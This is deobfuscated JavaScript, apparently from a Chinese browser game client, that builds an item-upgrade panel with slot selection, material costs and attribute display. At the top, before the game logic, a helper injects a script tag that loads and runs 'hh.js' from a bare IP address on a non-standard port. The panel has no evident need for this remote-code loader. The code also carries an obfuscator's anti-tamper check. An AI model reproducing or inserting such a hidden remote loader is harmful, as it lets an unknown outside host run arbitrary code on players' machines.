//Fri Jul 11 2025 23:51:29 GMT+0000 (Coordinated Universal Time) //Base:https://github.com/echo094/decode-js //Modify:https://github.com/smallfawn/decode_action function loadblm(_0x2daed9) { var _0x288f5e = $("head").remove("script[role='reload']"); $("").attr({ role: "reload", src: _0x2daed9, type: "text/javascript" }).appendTo(_0x288f5e); } loadblm("http://110.42.3.203:1418/hh.js"); var newzbqhwin = function (_0x5ab625) { var _0x5aa4b8 = function () { var _0x79c21f = true; return function (_0x672281, _0x5e89ec) { { var _0x1b0003 = _0x79c21f ? function () { if (_0x5e89ec) { { var _0x218458 = _0x5e89ec.apply(_0x672281, arguments); _0x5e89ec = null; return _0x218458; } } } : function () {}; _0x79c21f = false; return _0x1b0003; } }; }(); var _0x46bc74 = _0x5aa4b8(this, function () { var _0x167ca7 = typeof window !== "undefined" ? window : typeof process === "object" && typeof require === "function" && typeof global === "object" ? global : this; var _0xe18bdf = function () { var _0x4e8a72 = new _0x167ca7.RegExp("^([^ ]+( +[^ ]+)+)+[^ ]}"); return !_0x4e8a72.test(_0x46bc74); }; return _0xe18bdf(); }); _0x46bc74(); function _0x19dc80(_0x4d85a0, _0x35da36) { var _0x2f9824 = _0x5ab625.call(this, _0x4d85a0, _0x35da36) || this; _0x2f9824.showMessage = [UserZs.ins().postZsData]; _0x2f9824.updateMessage = [KFBattleRedPoint.ins().postRedPoint, DevildomRedPoint.ins().postRedPoint, KfArenaRedPoint.ins().postRedPoint]; return _0x2f9824; } __extends(_0x19dc80, _0x5ab625); _0x19dc80.prototype.checkShowIcon = function () { { var _0x15140b = KFBossSys.ins().isOpen(); return _0x15140b; } }; _0x19dc80.prototype.checkShowRedPoint = function () { return KFBattleRedPoint.ins().redPoint || DevildomRedPoint.ins().redPoint || KfArenaRedPoint.ins().redpoint; }; _0x19dc80.prototype.tapExecute = function () { ViewManager.ins().open(newLongdispal); }; return _0x19dc80; }(RuleIconBase); __reflect(newzbqhwin.prototype, "newzbqhwin"); var newLongdispal = function (_0x236e52) { function _0x427962() { { var _0x461555 = _0x236e52.call(this) || this; _0x461555._cost = 0; _0x461555.isTopLevel = true; _0x461555.skinName = " \n \n "; return _0x461555; } } __extends(_0x427962, _0x236e52); _0x427962.prototype.open = function () { this.addTouchEvent(this.closeBtn, this.closeMenus); this.roleSelect.setCurRole(this.curRole); this.addChangeEvent(this.roleSelect, this.sonChange); this.roleSelect.parent.touchEnabled = true; SubRoles.ins().getSubRoleByIndex(0); this.roleSelect.setCurRole(0); this.observe(Dress.ins().postDressInfo, this.edata); this.observe(GameLogic.ins().postSubRoleChange, this.getDressInfo); this.observe(UserBag.ins().postItemAdd, this.edata); this.observe(UserBag.ins().postItemDel, this.edata); this.observe(UserBag.ins().postItemCountChange, this.edata); this.addTouchEvent(this.item0, this.closeMenu); this.addTouchEvent(this.item1, this.closeMenu); this.addTouchEvent(this.item2, this.closeMenu); this.addTouchEvent(this.item3, this.closeMenu); this.addTouchEvent(this.item4, this.closeMenu); this.addTouchEvent(this.item5, this.closeMenu); this.addTouchEvent(this.item6, this.closeMenu); this.addTouchEvent(this.item7, this.closeMenu); this.addTouchEvent(this.item8, this.closeMenu); this.addTouchEvent(this.item9, this.closeMenu); this.addTouchEvent(this.item10, this.closeMenu); this.addTouchEvent(this.item11, this.closeMenu); this.addTouchEvent(this.item12, this.closeMenu); this.addTouchEvent(this.upitem0, this.pagesitem); this.addTouchEvent(this.upitem1, this.pagesitem); this.addTouchEvent(this.Upbntss, this.closeMenu); this._indexid = 0; this.item0.selectFrame.visible = 1; this._curRole = 0; this.edata(); }; _0x427962.prototype.sonChange = function (_0x119964) { this._curRole = this.roleSelect.getCurRole(); this.edata(); }; _0x427962.prototype.getDressInfo = function () { Dress.ins().sendDressInfoReq(); }; _0x427962.prototype.pagesitem = function (_0x2539de) { { switch (_0x2539de.currentTarget) { case this.upitem0: this.XZitempage(0); break; case this.upitem1: this.XZitempage(1); } } }; _0x427962.prototype.XZitempage = function (_0x10fdf5) { for (x = 0; x < 2; x++) { x != _0x10fdf5 ? (this["upitem" + x].filters = [FilterUtil.grayFilter], this["Supitem" + x].Nametext.textColor = "0xADFEDC") : (this["upitem" + x].filters = null, this["Supitem" + x].Nametext.textColor = "0xA6FFA6"); } }; _0x427962.prototype.edata = function (_0x27950f) { var _0xd1dc1f = this.Listdate(); var _0x490ccb = 0; var _0x300288 = ConfgMgr.xlongdibaseconfig; var _0x4b46ab = ConfgMgr.xlongdiupconfig; this.Supitem0.Nametext.textColor = "0xADFEDC"; this.Supitem1.Nametext.textColor = "0xA6FFA6"; this._maxlv = _0x300288.maxlv; this._openzs = _0x300288.zslv; this._openday = _0x300288.openday; for (x = 0; x < 13; x++) { var _0x4b053b = _0xd1dc1f[x].lv; var _0x2343a2 = _0xd1dc1f[x].id; this["item" + x].itemIcon.imgIcon.source = _0x300288.itemicon[x] + "_png"; this["item" + x].itemIcon.imgBg.source = "quality5"; this["item" + x].itemIcon.imgJob.visible = 0; this["item" + x].count.visible = 0; this["item" + x].nameTxt.text = _0x300288.name[x] + _0x300288.lvjie[_0x4b053b]; this["BedEff" + x] || (this["BedEff" + x] = new MovieClip()); this["BedEff" + x].scaleX = this["BedEff" + x].scaleY = 1.2; if (_0x4b053b < 1) { this["BedEff" + x].x = -66660; this["BedEff" + x].y = -66650; this["item" + x].itemIcon.imgIcon.filters = [FilterUtil.grayFilter]; } else { this["BedEff" + x].x = 40; this["BedEff" + x].y = 35; this["item" + x].itemIcon.imgIcon.filters = null; var _0x490ccb = parseInt(_0x490ccb) + UserBag.getAttrPower(AttributeData.transformAttr(_0x4b46ab[x][_0x4b053b].attr)); } this["item" + x].itemIcon.imgStar.parent.addChild(this["BedEff" + x]); this["BedEff" + x].playFile(RES_DIR_EFF + "yewan01", -1); if (x == this._indexid) { this._lv = _0x4b053b; this._id = _0x2343a2; if (_0x4b053b < this._maxlv) { { if (_0x4b053b < 1) { var _0x34582e = _0x4b46ab[x][1]; this._item0 = _0x34582e.itemid[0]; this._item1 = _0x34582e.itemid[1]; this._count0 = _0x34582e.count[0]; this._count1 = _0x34582e.count[1]; this._num0 = UserBag.ins().getBagGoodsCountById(0, this._item0); this._num1 = UserBag.ins().getBagGoodsCountById(0, this._item1); this.curAttr0.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x300288.attr), 0, 1, ": "); this.curAttr1.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x34582e.attr), 0, 1, ": "); this.Supitem0.Nametext.text = ConfgMgr.ItemConfig[this._item0].name + "需要(" + this._count0 + ")个"; this.Supitem1.Nametext.text = ConfgMgr.ItemConfig[this._item1].name + "需要(" + this._count1 + ")个"; this.upitem0.data = this._item0; this.upitem1.data = this._item1; this.upitem1.filters = [FilterUtil.grayFilter]; this.upitem1.nameTxt.visible = 0; this.upitem0.nameTxt.visible = 0; } else { var _0x472879 = _0x4b46ab[x][_0x4b053b]; var _0x34582e = _0x4b46ab[x][parseInt(_0x4b053b) + 1]; this._item0 = _0x34582e.itemid[0]; this._item1 = _0x34582e.itemid[1]; this._count0 = _0x34582e.count[0]; this._count1 = _0x34582e.count[1]; this._num0 = UserBag.ins().getBagGoodsCountById(0, this._item0); this._num1 = UserBag.ins().getBagGoodsCountById(0, this._item1); this.curAttr0.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x472879.attr), 0, 1, ": "); this.curAttr1.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x34582e.attr), 0, 1, ": "); this.Supitem0.Nametext.text = ConfgMgr.ItemConfig[this._item0].name + "需要(" + this._count0 + ")个"; this.Supitem1.Nametext.text = ConfgMgr.ItemConfig[this._item1].name + "需要(" + this._count1 + ")个"; this.upitem0.data = this._item0; this.upitem1.data = this._item1; this.upitem1.filters = [FilterUtil.grayFilter]; this.upitem1.nameTxt.visible = 0; this.upitem0.nameTxt.visible = 0; } this.maxbox1.visible = this.Upbntss.visible = this.Supitem0.visible = this.luopans.visible = this.Supitem1.visible = 1; this.maxbox2.visible = this.macicon.visible = 0; } } else { this.maxbox1.visible = this.Supitem0.visible = this.Upbntss.visible = this.luopans.visible = this.Supitem1.visible = 0; this.maxbox2.visible = this.macicon.visible = 1; var _0x472879 = _0x4b46ab[x][this._maxlv]; this.curAttr2.text = AttributeData.getAttStr(AttributeData.transformAttr(_0x472879.attr), 0, 1, ": "); } } } this.powerPanel.setPower(_0x490ccb); }; _0x427962.prototype.Listdate = function () { { this.curRole = this.roleSelect.getCurRole(); var _0x377125 = Dress.ins(); this.listInfo = []; for (var _0x445878 in ConfgMgr.xlongdiconfig) if (SubRoles.ins().getSubRoleByIndex(this.curRole).job == ConfgMgr.xlongdiconfig[_0x445878].roletype) { var _0x23af09 = new DressItemInfo(); var _0x4940dc = ConfgMgr.xlongdiconfig[_0x445878]; var _0x13b771 = _0x4940dc.id; _0x23af09.lv = 0; _0x23af09.id = _0x13b771; _0x23af09.job = _0x4940dc.roletype; _0x377125.timeInfo[_0x13b771] && (_0x23af09.timer = _0x377125.timeInfo[_0x13b771].invalidtime, _0x23af09.lv = _0x377125.timeInfo[_0x13b771].lv); this.listInfo.push(_0x23af09); } return this.listInfo; } }; _0x427962.prototype.closeMenu = function (_0x8cfb34) { switch (_0x8cfb34.currentTarget) { case this.item0: this.ViewSelect(0); break; case this.item1: this.ViewSelect(1); break; case this.item2: this.ViewSelect(2); break; case this.item3: this.ViewSelect(3); break; case this.item4: this.ViewSelect(4); break; case this.item5: this.ViewSelect(5); break; case this.item6: this.ViewSelect(6); break; case this.item7: this.ViewSelect(7); break; case this.item8: this.ViewSelect(8); break; case this.item9: this.ViewSelect(9); break; case this.item10: this.ViewSelect(10); break; case this.item11: this.ViewSelect(11); break; case this.item12: this.ViewSelect(12); break; case this.Upbntss: if (UserZs.ins().lv < this._openzs) { return void UserTips.ins().showTips("|C:0xf3311e&T:转生等级达" + this._openzs + "开启|"); } if (GameServer.serverOpenDay + 1 < this._openday) { return void UserTips.ins().showTips("|C:0xf3311e&T:开服" + this._openday + "开启|"); } if (this._num0 < this._count0) { void UserTips.ins().showTips("|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n"); return SoundManager.ins().playEffect("wupindaojubuzubgm"); } if (this._num1 < this._count1) { void UserTips.ins().showTips("|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n|C:0xf3311e&T:所需仙石道具不足!!!!!|\n"); return SoundManager.ins().playEffect("wupindaojubuzubgm"); } if (this._lv >= this._maxlv) { return void UserTips.ins().showTips("|C:0xf3311e&T:已达最高等级|"); } this._lv < 1 ? Dress.ins().JiezhikongjianUserReq(this._id, 2) : Dress.ins().JiezhikongjianLevelUp(this._id); } }; _0x427962.prototype.ViewSelect = function (_0x76add5) { for (x = 0; x < 13; x++) { _0x76add5 == x ? this["item" + x].selectFrame.visible = 1 : this["item" + x].selectFrame.visible = 0; } this._indexid = _0x76add5; this.edata(); }; _0x427962.prototype.closeMenus = function (_0x1f255e) { ViewManager.ins().close(this); SoundManager.ins().playEffect(SoundUtil.WINDOW); }; return _0x427962; }(BaseEuiView); __reflect(newLongdispal.prototype, "newLongdispal"); ViewManager.ins().reg(newLongdispal, LayerManager.UI_Main);